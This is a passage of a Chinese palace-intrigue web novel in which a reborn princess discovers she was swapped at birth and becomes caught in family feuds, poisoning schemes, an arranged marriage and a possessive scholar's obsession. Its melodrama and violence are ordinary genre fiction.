他总是待在祝家最幽深的院子里,足不出户,也不见人。她儿时曾不甚闯进他的屋子,那里挂着无数黑纱,将屋子遮得密不透风、漆黑恐怖,仿佛一座活棺材,而他,就静静躺在其中的摇椅上,不说话,只是呆呆看着她。
那是一双眼枯朽而又深陷的眼。
她被吓了一跳,不甚踩到了黑纱,被绊倒在地。
那个人就那样向她伸出了手,像是一个死人的手,瘦骨嶙峋到了极致,筋脉的跳动都清晰可见。
尤记得那日,她被吓得直哭。
是一个小女孩进来,将她带了出去。
她问那个那个小女孩是谁,可那小女孩并不说话,只是深深看了她一眼,将门阖上。
从此以后,她再也不敢靠近。
“母亲,二舅舅他阴森森的,况且我同他并无情分,你要不就再派个人去吧”。
“阿满,他是你……二舅舅啊,更是母亲的哥哥,你就当替母亲看他,好不好?”
祝皇后说罢,泪如雨下。
她没想到,这一天到底还是来了。
“母亲,我答应你,你别伤心了好不好?”
彼时。
皇帝正在批阅奏折,一个太监靠近他耳语了几句。
“祝临安……”
他手中的笔骤然落地,乌黑的墨汁沾了满身。
*
李昭愿又回到了皇帝宫门前。
大太监郭利为难地走来。
“殿下,陛下今日身体有些不适,无法诏殿下一见,殿下还是先请回吧”。
“阿耶他,还好吗?”
“殿下请放心,已然诏了太医,并无大碍”。
这一路上,她都走得心不在焉。
直到她离开皇城。
闻音背着行囊,跟在她身后。
“殿下,你莫要担忧,不过三日,就回来了”。
可李昭愿满脑子都是明日小舅舅出征之事。
她走了,就真的再无回寰的余地了。
马车摇摇晃晃驶上官道。
京都愈来愈远。
“阿满!”
坐在车厢内的李昭愿只觉得自己出现了幻觉。
怎么听到了小舅舅的声音。
这时,帘子被一把撩开。
“小舅舅!你怎么来了!”
“陛下特许我回去见二哥一面!”
祝无忧径直上了车厢。
“阿耶特许?”
李昭愿不禁奇怪,阿耶还会留心祝家的小事。
“这你就有所不知了吧,二哥同陛下有同袍之谊,他曾在宫中做伴读十一载!”
李昭愿听着呼吸都慢了几分,这样的事,她从未听阿耶、母后提及,一个字都没有。
……
一夜的颠簸,终于在黎明乍现之际,几人到了临州祝家。
晨雾笼罩着祝府,昏鸦缓缓落在枯树上。
李昭愿跟随下人到了府内最深处,她刚一踏进院落,家中所有下人都看着她。
眼神有些奇怪。
这时,管家迎了上来。
“殿下,将军,你们快些进去吧!”
说着,他还抹了一把涕泪。
初踏进去那间屋子,一股苦涩之气就扑了上来。
到处都是药味。
还伴着一阵嘈杂悲哀的呜咽声。
“殿下,无忧,你们回来了”。
一个捧了水盆的妇人,红着眼问二人。
“大嫂!”
祝无忧顺手接过她手里的水盆。
这时,床前围坐的人也看向他们。
大舅舅、大舅舅的孩儿、外祖母还有一个她不认识的女子。
外祖母上前来握住李昭愿的手,语重心长道,
“阿满,你同你……二舅舅好好说说话”。
还未等她回话,所有人都被支了出去。
最后离开的人是那她并不相识的女子。
可她似乎认识她,并且敌视她。
冷笑地看着她。
同她错身而过。
李昭愿心生怀疑,待众人走后,才靠近那床榻。
幽暗无比。
只有一盏小小的烛火在跳动。
“阿满……”
一道撕裂的哑声从那床榻间艰难传出。
她看向那人。
他更瘦了,那深深陷下去的眼眸在看见她的那刻,终有有了片刻神采。
一席雪白里衣仿佛包裹着一个骷髅架子。
空洞苍白。
“二舅舅”。
她疏离礼貌地唤了一句。
他抬起手欲碰她。
李昭愿警惕地后退一步。
火光里,他也不生气,只是静静地、近乎眷恋地望她,仿佛在望着哪位离别已久的故人。
“你真像她”。
“她是谁?”
“你的……母亲……”
“二舅舅……你究竟在说什么胡话?”
心口一跳,李昭愿堵了一口气,欲转身离开。
与此同时,一个身影直直向她冲来。
一把死攥住她的手腕。
“你不能走!他是你阿耶!”
“你给我住口!”
“怎么?抢了公主的身份这么多年,还不满足?”
“什么抢了公主——”
李昭愿一把挣脱她的手。
“抢了谁的?你们都在说什么,莫名奇妙!”
她转身就要走。
身后的人突然崩溃大吼,肆意地发泄藏了十余年的怨气。
“我的!我祝冯玉的!我才是公主!你不过是祝家那个见不得人的私生女!你抢了我的身份十五年!整整十五年啊!”
“即便是死,他也要见你最后一面!”
“凭什么!究竟凭什么?”
顷刻间,李昭愿如遭雷劈,愣在原地。
这时,院外的所有人都听到了吵闹声,涌了进来。
正好同神情恍惚的李昭愿对上。
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她看着小舅舅,他神色闪躲,怪不得他总是提及二舅舅,还有母亲昨日欲言又止的神情。
她又环视眼前的人。
他们都避开她那灼人的眼神。
原来,所有人都知道,除了她自己。
她讥讽地笑笑。
泪水开了闸般不停滚落。
隐晦的院落间,一抹雪白从中划过,而后一把跳上骏马,疾驰离去。
待到闻音、祝无忧追出来时,只见马蹄印隐入无尽的浓雾中。
她也不知道骑了多久,脸刮得生疼,马也累死了,脚下一片血红。
“滚开、滚开!”
一群官差从她身边走过。
她被推搡地跌落在泥里,头发凌乱,如同一个乞丐。
再抬头,眼前的城楼上赫然书着京都二字。
是啊,她还能去哪。
她生在这里,养在这里,这就是她最熟悉的地方。
可这座皇城已然不是她的家了。
她就那样走啊走……
敲响了暗巷一处破屋子。
李长卿正逢休沐之日,温习书本时,却听见一阵零落的敲门声。
他缓缓打开门。
一个从未想过的人站在眼前。
“殿下?”
眼前狼狈的女子对他苦笑了一下,循着破碎褴褛的衣衫而下,是一双伤痕累累的玉足。
足下还踩着一串从远处绵延而来的血脚印。
他急忙将身上的白衫脱下披在她身上。
她的肩膀冰凉得吓人。
他一把将她抱起。
她就那样乖乖地窝在他怀里。
仿佛失了三魂六魄。
良久。
李昭愿终于梳洗完毕,纤细的脖颈被包裹在宽大的白裳中间,仿若裹在花瓣中间的花蕊,清纯秀丽。
水珠一滴滴从她发尖滚落,阴湿了袖口。
李长卿蹲在地上,神色冷然,捧着她红肿的一双足,小心翼翼上药。
而李昭愿就静静看着他。
灯火缥缈的屋室内,升腾起一股暧昧的气息。
“长卿,如若我不是公主,你还会这样吗?”
“殿下——”
还未等他说出口,她已缓缓落地,一个吻轻轻落在他唇角。
“你喜欢我对不对?”
李昭愿眼里有泪,眼底泛红,却也让她清丽中多了几丝魅气。
李长卿还未曾反应过来,就那样怔然地望着她耳垂上那颗晶莹剔透的白玉坠,一晃又一晃,逐渐靠近,眼角染上韫色。
他盘坐在地,闭上双眼,感受着那双冰凉的手像藤蔓般缠上脖颈,感受着那道滚烫的呼吸一点点靠近脖颈的筋脉,感受着她牙齿的锋利。
“嘶——”
逼仄的屋下,冷情的书生紧闭双眼,指骨紧攥着盘坐在地,极尽克制,双耳通红,而他身上攀附着一个女子,白衣半裸,肩头雪似的白,贪婪地吮吸他的血,妖似的鬼魅。
纵使外表再冷淡隐忍。。
可他的心头却早已掀起狂风骤雨,余光落在屋角白纱所覆的角落。
这一日,他等了太久。
看见她的每一分每一秒,他都想将她死死禁锢在身下,将她每一寸都揉进骨血里,想听她痛苦妩媚地哀求。
可他不能。
不然,会把她吓跑的。
他需得忍耐。
早晚有一天,她会心甘情愿地爱他,完完全全属于他。
13. 廉耻
寒气甚重,入宫宴饮者皆着狐裘棉衣,穿过灯火灼灼的九重宫阙。
彼时,宫门口。
一个身影从马车上缓缓走出。
众人的目光都落在她身上。
试探、好奇、讥讽。
可女子神情依旧温润,步步生莲,保持着往日的风度。
一个黄衣侍女恰到好处地迎了上来。
“祝姑娘……公主有请”。
李昭愿跟随在侍女身后,踏上了一座石桥。
只见桥上一个青衣女子发丝凌乱,望着水池中映出的月。
“你来了”。
那女子并未转身,口中依旧陈述着往事,声线缥缈。
“我儿时便见过你,认识你”。
“那时的你,就如这天上的明月,高不可攀、美丽耀眼,所有人都奉承你、仰慕你甚至爱你,孩童、祖父母甚至是我阿耶”。
“你是他的亲生女儿,他却连见你的勇气都没有”。
说到此处,祝冯玉自讽似地苦笑几声,转过身来,满脸泪痕,随即怨恨地上前抓住李昭愿的双臂,步步后退。
“可你呢?”
“好狠的心肠,他都要死了!你竟直接抛下他离开!连最后一程都不愿意陪陪他!”
“你告诉我,你的心是什么做的!”
李昭愿任由她推搡着,神色却依旧没有一丝动容,冰冷地站在白玉石柱旁,依旧那样平淡地看向她,从容而冷漠,仿佛在看一个疯子。
面对她,祝冯玉只觉得血气上涌,脑子里嗡嗡作响。
她一把抹去眼泪,眼神发狠。
“既然所有人都舍不下你!我就来帮他们——”
就在刹那间,冯昭愿一把推开李昭愿,跌入冰冷的湖水。
“啪嗒!”
平静的湖面溅起淋漓的水花,水纹荡漾开来。
“阿玉!”
恰在这时,湖边传来一声惊呼,皇后看着这一幕,竟气急攻心直接晕厥在皇帝怀里。
众多贵女亦受惊一般在湖边叽叽喳喳乱作一团。
李昭愿跌坐在桥上,看着这场大戏。
湖里。
祝冯玉拼命地挣扎,一个身影急忙跃入湖中,艰难地将她拖到岸上,所有人都围在她身侧。
“公主!”
“公主不会水!”
“叫太医!快叫太医!”
……
皇帝急忙向此处走来。
只是,要到祝冯玉身边,需得过桥。
李昭愿就愣在原地。
看着皇帝阴沉着脸向她走来。
“阿——”
那冷漠的一眼仿佛了一颗碳火,烫住了她的喉咙,只能眼看着他错身而过,离她远去,直奔祝冯玉。
良久。
在得知皇后并无大碍。
李昭愿才离开,独自行在出宫路上。
行到一处花园。
一个人影突然从假山后蹿出。
“公主殿下!这才几日,就不认识我了?”
“你是?”
“你可知道,我的脸毁了!现在连那些寒门的狗都敢笑我!”
“杨绍?”
“哈哈哈,原来公主还记得我,这样也好”。
杨绍一边解着衣裳,一边逼近。
李昭愿后退着。
她目光逐渐冰冷。
可就在这时,旁侧草丛间发出些窸窣声。
“啊!”
突然,杨绍上前撕扯李昭愿,她惊叫一声,肩上衣裙瞬间撕裂,冰冷的空气刺激着肌肤,面前的人抓住她的肩头,脸不停逼近,月光映出他狰狞的脸庞。
一股恶心之感涌上她心头。
可树上之人依旧毫无动静。
“杨公子,曾经是我对不住你,今日,只求你放我一条生路!”
李昭愿突然哭了出来,伸出双手拼命抻住杨绍的脸。
“美人啊,今日过后,我会让你做我的妾室!好好地折磨你!让你恕一辈子罪!”
说罢,杨绍一把将李昭愿推倒在地,目露凶光,直直向她扑去。
“不要!不要!”
李昭愿突然挣扎起来,纤长的指在对面之人的脸上留下一道道血痕。
杨绍被抓得直叫,气得直跳脚。
“臭婊子!”
杨绍眼看举起手就要发难,就在他手扇到李昭愿脸上的那一刻,被迫停止。
“咔嚓!”
骨裂之痛令杨绍痛苦地跪倒在地。
“啊!”
一个高大的身影死死攥住杨绍的手腕,正气凛然。
而后,看着地上楚楚可怜的女子,解下肩头厚实的皮肤披在她身上,盖住了她裸露的肌肤。
“女娘,没事吧?”
“多谢郎君,敢问郎君是?”
李昭愿红着眼抬头。
“在下杨祈”。
杨祈、杨绍……
“敢问公子与那杨绍……”
“杨绍乃吾庶弟。实在是杨府管教不严,才冒犯了殿下,今日回去定将家法处置,来日亲自押他向公主请罪!”
杨绍说着,已然伏下了身子。
就在此时。
不远处的树丛间,发出枯叶被踩碎的声音。
朦胧的月下,依稀看得见一个女子惊慌失措地离开。
她一边跑一边向后看。
看着不远处聚集的贵女,才放松下来。
随即,小声加入了议论。
“我方才撞见昭阳衣衫不整……”
“啊!真是已经迫不及待寻找靠山了”
“是啊,真是不知廉耻”。
“妓子的女儿,能是什么好东西”。
……
杨府。
“你个废物!”
一铁鞭狠狠落在石凳上趴着的人身上,顿时皮开肉绽。
“大哥,我错了!我错了!”
“自报家门,你这个蠢货几时能聪明些?”
杨祈一把抓起杨绍的头颅,目光狠厉,“我吩咐你下的毒如何了?”
“大哥,那殷长安虽聪明,可所学时日太短,和您还是差远了,又何必杀他呢?”
“要怪只怪那李昭愿太喜欢他,况且,他从不听话,难保日后入仕成为你我仇敌”。
杨绍垂落了头,并不情愿。
“你个庶子,连自己都保不住还怜悯他人,真是可笑!”
杨祈拍了拍他的脸,尽是不屑。
“李长卿呢?”
“大哥,他前日受伤,如今,药效也该发作了,应是已盲,无法参加几日后的擢考”。
“最好如此,否则我让你生不如死”。
“是……大哥”。
……
夜间的街巷,行人稀稀疏疏。
李昭愿裹紧身上的衣裳,在一处冒着热气的豆腐摊旁停下了脚步。
“女娘!深夜寒冷,不如来一碗豆腐羹吧!”
一位大娘极热情地招揽她。
待她坐下,有条不紊地收拾了桌上的残羹冷炙,不过片刻,一位佝偻着身子的豆腐匠端来一碗豆腐羮,随着热气升腾,豆腐的清香钻进她鼻腔。
李昭愿执起木勺搅了搅。
发现这碗底竟有许多干桂花,热气里,她温柔一笑,将热汤
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送入口中,暖流划过肠胃,似乎心口也暖了些,味蕾亦感受到些许熟悉。
“大娘,你是哪方人士,这豆腐羹像是北地风味,有些辛辣刺激”。
“女娘的舌头当真厉害,极北边陲鲤县的风味都尝的出”。
“鲤县?”
说到此处,李昭愿眸光一动。
“大娘是鲤县人士?”
“非也,是那豆腐匠前些日子流浪至此,看他可怜,这才收留,没想到有这般手艺,做出的豆腐羮在这京都倒别有一番风味”。
老妇人看着她打量的目光,为难道。
“女娘,只是他性情古怪,不愿见人”。
“好,多谢大娘”。
李昭愿风卷残云似地吃完。
放下银子起身。
正欲走,大娘悄然说了句话。
“女娘,自你昨日走后,有个书生已在那处守了许久”。
李昭愿望着远处的红影,微微一笑。
随即离去。
柴垛,佝偻着身子的豆腐匠看着那个单薄的身影渐渐远去。
“火快灭了!还愣着做什么?”
老妇人看着热气寥寥的锅,大声呼喊,豆腐匠回过神,急忙拾了一捧柴火奔去炉灶。
而不远处的巷口。
一盏红灯笼在风中飘扬摇摆。
李昭愿走近,抬头望向执灯人——李长卿。
他依旧纤白一身,略有些单薄的身子安然立在寒风里,一双手吹得通红。
即便她离他这样近。
红影里那双纤长的眸依旧沉静无波。
“长卿,你怎会在此处?”
“殿下?”
他面上一喜,即便看不见,依旧将手臂上的披风扑洒开来,柔顺的布料荡在他长臂上,凭借声响恭敬地奉至她身前。
“多谢”。
李昭愿毫不犹豫解下身上的衣服,将他的披风披在肩上。
而后不紧不慢地跟在他身后,黝黑的夜,竹棍一下一下敲打着地面。
“啪嗒……啪嗒……”
“你怎知道我会来此?”
“并不知道,只是在那处吹吹风罢了”。
“吹风还带披风?”
李昭愿言罢,身前的人噤了声,二人陷入了一种沉默。
那是一种心有灵犀的沉默。
她微微笑着,安心地跟在他身后,他一步步向前,默默陪伴。
此刻,天地之间的风似乎都柔和了些。
*
将军府。
骏马在府门前骤然停下,一个矫健的身影一跃而下,冲进府中。
对着开门的管家问道,
“阿满回来了吗?”
得到一个否定的回答的他,如同热锅上的蚂蚁,纵马离开。
夜空下空荡荡的都城。
祝无忧疯了般驰骋,可无论哪一处,都没有她的身影。
直到行过一处豆腐摊。
他蓦地想起此处。
他立即下马询问老妇人可看见一个女子,得到肯定的回答后,他怒气腾腾地穿过暗巷,随即一脚踢开那间屋子,一边上前去拉倒水女子,一边肆意倾吐怒火。
“你还知不知道廉耻!”
“啪嗒!”
杯盏坠地,四分五裂。
李昭愿听着那些刺耳的言语,有些不可置信,红了眼。
“小舅舅,你说什么?”
可祝无忧早已被怒火攻心,他硬拽着李昭愿出门,不顾她的反抗。
“你有家!为什么非要和这个男人混在一起,看来,我还是太纵容你了!你可知何为女戒,何为妇德!”
14. 赐婚
“家?哪里是我的家?”
“从前的十五年,所有的身份与荣宠,甚至母亲和阿耶都是假的!小舅舅,你说,我的家在哪?”
李昭愿含泪笑着,目光灼灼盯着她最信任的亲人。
一直以来,亲人与家就是她重生以来全部的信念与支撑。这一切,竟在一夕之间崩塌溃烂。
此时此刻,她心口绞得生疼。
这场身世风波,上一世从不曾有,到底是哪里出了错。
祝无忧早已无心听她的话,只是定定看着一处。
墙角布施上凌乱地搭着几件衣裙,布料名贵,绣样别致,即便染上泥污,也能一眼辨别那是件女子群裳。
一时间,肝火愈旺。
“我看你是被这个穷酸书生迷了心智!你今日是非要同他一起是吗?”
李昭愿听着他的话,讥讽地笑笑。
随即神光一变,一把甩开祝无忧的手。
祝无忧被阿满超乎寻常的力气整得发愣。
而李昭愿则径直走向攀窗惊乱的李长卿。
同他冰冷的手掌十指相扣,抬起臂膊,目光坚定。
“小舅舅,我就是喜欢他,要同他在一起,一生一世,永不分开!”
灯火里,祝无忧皱着眉看着二人难舍的模样。
突然嗤笑了几声。
目光流转间,清明的眸染上戾气,随即他一个挽臂。
“呲—”
利剑冲破铁鞘,划破灯火,随之泄出的寒光朝李长卿的手臂扑去。
刀光剑影里,李长卿依旧岿然不动。
眼见他如此。
李昭愿急忙后撤几步,拉扯李长卿避过刀锋。
可即便如此,他的左膊还是划下一个狰狞的口子。
温热的血不断溢出,涌入二人掌间。
“长卿!”
李昭愿急忙将他护在身后,警惕地看向面前之人。
寒风从门窗涌入,将祝无忧的发丝吹得放肆飘扬,他低着头,让人看不清神情,李昭愿凝住一口气,一步步警惕地后退。
此刻的她是害怕的。
毕竟,这是她第一次见祝无忧在她面前拔刀。
从前的温柔已经荡然无存,此刻,他身上盈满疆场浴血的杀气与阴鸷。
是啊,一个统帅万军的统帅,岂会没有脾性。
“小舅舅,你今日是准备杀了我吗?”
祝无忧用玄黑袖口拭去剑锋上的血,声线无比冰冷。
“我不杀你,可我要杀他!”
言罢,祝无忧一把将李昭愿扯离,李昭愿被甩在地上,他一个起身,剑锋直直朝李长卿劈下。
“不要!”
就在李昭愿瞳孔骤然放大间。
一支锋利的剑矢穿透窗纸,“锃—”
剑刃被打飞。
飞动旋转后,深深扎在墙壁里,发出刺耳的嘶鸣。
彼时,几人都未曾预料到的一个人物踏入门槛,发出爽朗的笑声。
“祝将军,哪里来的这样大的戾气?”
武王将手中长弓递给属下,轻使力气,便将地上的李昭愿一把提起。
“三妹妹已是及笄之年,有心上人也是常事,祝将军何必如此大动干戈?”
说着,武王又一把拔出那嵌入墙中的宝剑。
“这是祝家的私事,就不劳殿下费心了”。
祝无忧并不愿理会这位天潢贵胄,只冷冷道。
“阿满,我只在外面等你一柱香的时间,如若不来,从今以后你我再无干系”。
说罢,他一把拿走武王递来的剑,头也不回地离开。
李昭愿站在墙下,显得格外瘦小。
她红着眼看着一切。
心口却掀起惊涛骇浪。
方才,她竟为了李长卿同小舅舅对抗起来,这并非她本意,而是一种下意识。难道,自己真的对他有了几分情?
不,绝对不行。
随即,李昭愿慌忙敛了神色,埋首道。
“今日是我来搅扰了你,还险些害你误了性命,这些都是我的错,今后,你我就当陌路”。
说罢,她转身离开。
就在这时,手腕被死死拉住。
身后响起李长卿清澈的声线。
“殿下,今日我并不害怕,只恨自己未能护住你”。
这个淡漠到极致的人似乎第一次吐出这样的情话,李昭愿阖上眼克制着内心的悸动与不舍,冷情道。
“放开我”。
“殿下…”
“你我之间绝无可能”。
言罢,女子一把挣脱他的禁锢,纤瘦的背影决绝地遁入黑暗。
…
夜风格外寒凉。
李昭愿同祝无忧一路无言,直到马匹的颠簸彻底消失,二人到达了祝府。
一个侍女急急忙忙跑上前来。
在祝无忧身侧耳语。
随后祝无忧离开,侍女则引着她回到住所,看似侍候实则监视。
看来,小舅舅并不信任她。
这夜,宫内传来急报,战事吃紧,统领指挥失误,致北边夷族南下,遂皇帝派祝小将军率兵北上。
而祝无忧从皇帝宫中刚刚走出,便马不停蹄去面见皇后。
“见过皇后娘娘!”
“无忧,你深夜来此,定是有要事吧”。
“臣弟想求姐姐两件事。”
“无忧”。
皇后欲扶起他,可他不肯起身。
“阿姐,今夜之事以及今后之事都请您相信阿满,她只是她,并非乔贵妃”。
皇后听着他的话,动作一顿。
露出一抹苦笑。
“她也是我看大的孩子,岂会真的迁怒于她”。
“无忧还有另一件事!”
“求姐姐将她许亲于一户可堪依靠的人家,那个人一定要敬她爱她,亦要远离京都这个是非之地”。
“如此,还请阿姐照料好身子,无忧谢过阿姐”。
皇后听着他这些沉重的托孤之言。
颤抖着问。
“你……相信那个预言?”
“阿姐,这预言甚至能推迟我的出征之日,臣弟不能不信。况且,那位的手段,你我都明白”。
黎明之时。
祝无忧在李昭愿院门口看了许久。
院里的树都只剩枯枝落叶,一派萧瑟,看来房中人睡得正安稳。
他这才踏上出征之路。
可此时,二人都不知对方难以入眠,辗转反侧,只是一墙之隔,彼此思虑。
待李昭愿出门,才知道祝无忧出征的消息。
她想去追,可将军府的侍卫拦住了去路,她怒目圆睁地训斥他们。
“你们给我滚开”。
侍卫们不由得惊异,平日里温和的公主怎么这般彪悍。可纵使他们使尽全力阻止,还是未能阻拦。
李昭愿还是驾马驰骋而去。
任由寒风吹过肩头,透心的凉,终于赶在日薄西山之时,赶上了军队。
一袭青衣的女子风驰电掣地冲入营地。
手里一条马鞭,抽得震天响。
一个小兵急忙冲入营帐。
“将军,昭阳公主追来了”。
“将她驱逐离开!”
“将军,公主说您不见她,她就不走”。
最终,祝无忧还是遂了她的意,将她放了进来。
“小舅舅!”
“我此行,只为叮嘱你一件事!”
“莫要饮酒,任何人的都不行”。
祝无忧听着,只觉得不可理喻。
“这北地寒冷,饮酒利于御寒,并非你所以为的享乐!”
听着他的话,李昭愿只觉气火攻心。
看来,只有最核心的秘密才能打动他。
“小舅舅!”。
“如若有一日凯旋,你哪位得力干将在你杯中加些蒙汗药,等你一醒来,身上多了件龙袍。到时候,你我、母亲
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、祝家就真的死无葬身之地了!”
说到此处,祝无忧的脸沉了下来。
他看向李昭愿的目光有些复杂,狐疑、警惕、担忧……
“阿满,你怎会如此……”
李昭愿明白,有些东西该说清楚了。
“因为那块巨石是我的计谋”。
“小舅舅,我不知你可会信。可我还是要说,从前生病时我做了一场梦,那场梦中,方才我所说的一切都发生了,最后整个祝家和你都因谋反之罪被赐死!”
李昭愿看着祝无忧震惊的神色。
终是吐了一口气。
从此以后不再是她一个人知道这些,太沉重了,压得她有些喘不过气来。
*
待她返回京都,已是第二日黎明。
京都街巷已不再冷清。
已有小摊贩开始走街串巷地叫卖。
可待她刚回到祝府,屁股还没坐热,又一大事轰得她头疼欲裂。
陛下赐婚。
将祝家二房的嫡女赐予琼州蒙家三房二子为妻,以公主仪仗出嫁。
首先,将她的身份升为嫡女。
其次,琼州本是苗疆之地,蒙家,善巫医,在当地名望极高,家法甚严,只是那三房是个不成器的,被安置在一处外宅,倒也清净。
而那公主仪仗。
也许是帝后对她这位假公主最后的情分吧。
她明白,这道圣旨,应是小舅舅所求,可谓是用心良苦,可以保她一生无虞。
可那一天就要来了,她岂能轻易离开。
随着这道圣旨落在祝小将军府,整个祝家对她的称谓,都变成了祝女娘。
“女娘,府外有人求见,是……一位姓李的郎君”。
正要打开画卷的李昭愿听着,急忙让侍女将他请进偏殿。
一箱箱御赐的金银珠宝摆在殿中,刺得人眼发红。
“你怎么来了?”
李昭愿的目光离开珠宝,定然地落在他衣摆上的几颗泥点子。
满眼霜雪。
“殿下——”
“郎君慎言,如今我是祝家女娘,而非什么殿下”。
冷漠无情的话语直戳心口,李长卿垂下了头,平静如水的声线终于有了几丝波动。
“所以,祝家女娘是准备同我这个穷书生划清界限是吗?”
“郎君此话说来实在可笑”。
“祝家女娘同郎君从来都是陌路人,何来界限。更何况,郎君乃是武王的座上宾,怎可自称为穷书生?”
听着刺耳的话,李长卿唇角的线抿得愈发直。
手中所握的玉簪化作了痱粉,一点点从指尖洒落。
随后他垂落长睫,笑了一声。
“女娘好手段”。
可李昭愿并不停止,朱唇轻启。
“李郎,前些日子我的确有些寂寞孤单,这才溺于你这处温柔乡”。
“可如今,你我都该清醒过来才是”。
此时此刻,这话也是对她自己的忠告。
说着,她葱白的指尖抚上他英俊的面容,短青色胡须在她掌心留下一片刺痒,她将他的脸掰向她,言语妩媚。
“你带着目的接近于我,而我也非真心,如此看来,你我之间也算抵消!”
正当她的指要离开他的唇。
一只粗壮的手臂突然一把掐住她的腰,将她死死禁锢,头颅重重砸在他胸前,眼冒金星。
李长卿死死盯着狼狈的她。
直到此刻,李昭愿才发现,他的眼红得几近破裂。
甚至就连唇角都有些颤抖。
“殿下,你当真如此绝情?”
李昭愿不愿再同他纠缠,轻蔑地看他一眼,又一把将他推开,果决离开。
而李长卿看着她离开的身影,痛苦与欲望熊熊燃烧。
抵消,休想……
谁敢碰你,我就杀谁。
宫宴小吏、杨绍已死,那便再加一个蒙家郎君好了。
15. 纠缠
长宁宫中。
受惊之人缓缓转醒,看见一旁一夜未眠的皇后,红着眼看她。
“母亲”。
“阿玉,怎么样,身体可有不适?”
“母亲,我没事了。姐姐怎么样了?她可受惊?”
祝冯玉嘴唇发白,握着祝皇后的手,心中却生出期盼。
如今所有人都看见,李昭愿嫉恨她夺了公主之位,将她亲手推入湖中,恶毒非常,这场局,她以性命做赌注,母亲定不会再相信那李昭愿,会为她主持公道吧?
可祝皇后听着她的话,却并未如她所想。
似是回避,将手抽了回来,面容勉强。
“阿玉,你今日先好生歇息,昨日之事今后再谈”。
“母亲,你不信我?”
祝冯玉抬头望着祝皇后,眼中尚有一丝期待。
可祝皇后避开她的目光,只是将锦衣盖在她肩头,端起一旁凉透的药碗。
“阿玉,这件事我们今后再说”。
“母后!”
祝皇后并不愿同她争辩,只急忙呼唤侍女。
“闻音,看护好公主”
“母亲!”
“昨夜我差些被她害死,难道我会用自己的性命害她?”
祝皇后夺门而出,不顾身后人悲戚的哭声。
而祝冯玉满面泪痕,看着眼前空荡荡的屋室,寒酸到了极致。
她不禁想起那座如同玉殿金楼、奢华至极却不允她搬入的长乐宫,想起皇后深夜含泪从那里离开,想起皇后精心为李昭愿挑选的婚事。
那双攥着锦被的手愈加颤抖。
*
祝府。
一只受伤的白鸽猛地坠落,恰好落在李昭愿饿院落中。
她看四下无人,急忙抓起白鸽,取下白鸽脚上的书信。
待她书信缓缓展开。
温声念出。
“于娘子颇多亏欠,但无私情,还请娘子顺应佳缘,佳偶天成,朝暮与共”。
这该是男子写予女子的。
指尖的字迹潦草飞扬,甚至还染了几丝血迹。
看起来,颇为熟悉。
下一刻,李昭愿立马誊抄一份,随即拿着真迹奔向祝无忧书房,却被她的贴身侍女拦住去路。
“女娘,将军吩咐,书房重地,所有人不得私入”。
李昭愿想到此处,举起书信。
“这是我偶然拾得的书信!是小舅舅的字迹”。
说罢,李昭愿将书信递给侍女,却见她神情逐渐严肃,心中猜想已然落定。
她对侍女提醒道。
“还请将书信收起,若被外人看了这字迹和血迹,恐会徒生事端”。
说罢,李昭愿便出门。
此封书信,是小舅舅的字迹。
而这种断情的书信,素来是直接交予女子手中,落在这院落中或许是巧合。
那么,那女子极有可能住在祝府附近。
于是,她在祝府旁闲逛几圈,打探清楚了此街各个宅院府地。
乔家、江家以及慕容家。
乔家在最逼仄的街角。而江家世家豪族,紧邻祝家。慕容家则是京都最富有的商贾之家,乃是皇商,也同祝家相邻。
可这几家中未曾许婚的女眷众多,找寻这名女子绝非易事。
但那张纸遍布折痕,小舅舅在书写时定是犹豫良久,而他从来不近女色,看来他是当真喜欢这位女娘。
只是沙场之上刀剑无眼,他曾许誓边境未定决不成家。
这件事,她该插手吗?
这夜。
朦胧水汽于火光中升腾,一侍女将白巾浸入热水中,缓缓开口。
“姑娘,明日蒙家便会来送聘书…只是将军出征,不知明日由谁来接”。
“聘书”。
父母之命,媒妁之言,如今,她似乎只能靠自己。
“明日我亲自来接”。
“女娘,这…”
“更衣”。
与此同时。
齐王府。
一人影悠悠穿过光影斑驳的长廊,向湖边伫立的人而去。
“殿下”。
“郎君深夜来访,可是想好了?”
“下臣只求一物”。
“哦?黄金万两,青云直上还是…如花美眷?”
齐王转身,嘴角尚待着一抹浅笑。
“昭阳公主”。
伴随着李长卿冷然的声线作罢,阴云浮上齐王的双眸。
“你可知,阿满同本王从小一起长大,虽非一母,却亲近非常,感情深厚,胜似亲妹,你如此冒犯于她,就不怕我杀了你?”
李长卿伸出手微微触碰齐王身边那瓷白的茶壶,热气将尽,他微微一笑。
“殿下今夜在此等待良久,应是万事尽在掌握”。
这时,齐王嘴角吐出一丝轻笑,靠近李长卿。
手稳稳落在他肩上。
“姜祭酒眼光果真不错,只是,得到阿满的代价,你可承受得起”。
“为我驱使二十年直到天下安定,到时千亩良田、万两黄金,保君顺遂一生”。
李长卿甚至没有一刻犹豫。
“多谢殿下成全”。
“好!”
齐王轻拍手,便有侍卫端一木托盘上前。
上面是一青瓷碗,碗边因沾了少许水,映出盈盈光泽。
一股苦涩之气扑进鼻腔。
“此药乃是慢性毒药,每月初一,都会有一剂解药送到你的府上,保君平安,亦保本王心安—”
“砰!”
就在这时,李长卿已面无表情吞下了这碗毒药,苦涩入喉。
“果真爽快!”
“只是希望殿下动作快些”。
“那是自然”。
晚秋的京都,寒风肆虐得人心拔凉。
李长卿行在街巷。
望着天际的星辰,咳嗽了几声。
他虽有些暗卫下属,可这是京都,遍地权贵,许多事情,那些人派不上用场。
如今,还得与阿姐最恨的人做此交易,与虎谋皮。
她会恨他吧?
也罢,总比不在意的好。
这一世的她,看似温弱纯良,可实际上冷清凉薄到了极致,为了母亲、小舅舅,她可以舍弃一切。
即便他同宣云隐再像。
看来,他的姐姐啊,变了。
“噗!”
这时,路上一老头忽然撞进了他怀里,手里的酒也撒了他一身。
随着酒壶坠地,四分五裂,酒水流淌一地。
爆出一声惊呼。
“郎君!”
“郎君好相貌,深夜在此徘徊,可是有…什么烦恼!”
老头露出阴测测的笑声,还搓磨着双手。
李长卿后退几步,看着白衣上的污痕,酒水映出他僵硬的脖颈。
随着夜风拂动檐下的灯笼,地上的光晕也不停晃动,隐隐映出墙角黑暗里一双冰凉赤足,沾了些许血痕。
第二日。
一名侍女急匆匆闯入,喘着粗气
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。
“女娘!出大事了!”
正在梳洗的李昭愿惊讶回头。
紧接着,一道青影心急如焚离开祝府,向城外驿站赶去。
她刚踏入。
只见屋内一片狼藉,桌椅杂乱,刀痕遍布,酒水流了一地。
只余几人收拾。
“蒙家之人可在?”
“蒙家二郎君受伤,已去往医馆”。
一名被安顿在此等候的家丁急忙上前来。
“您便是祝女娘吧?”
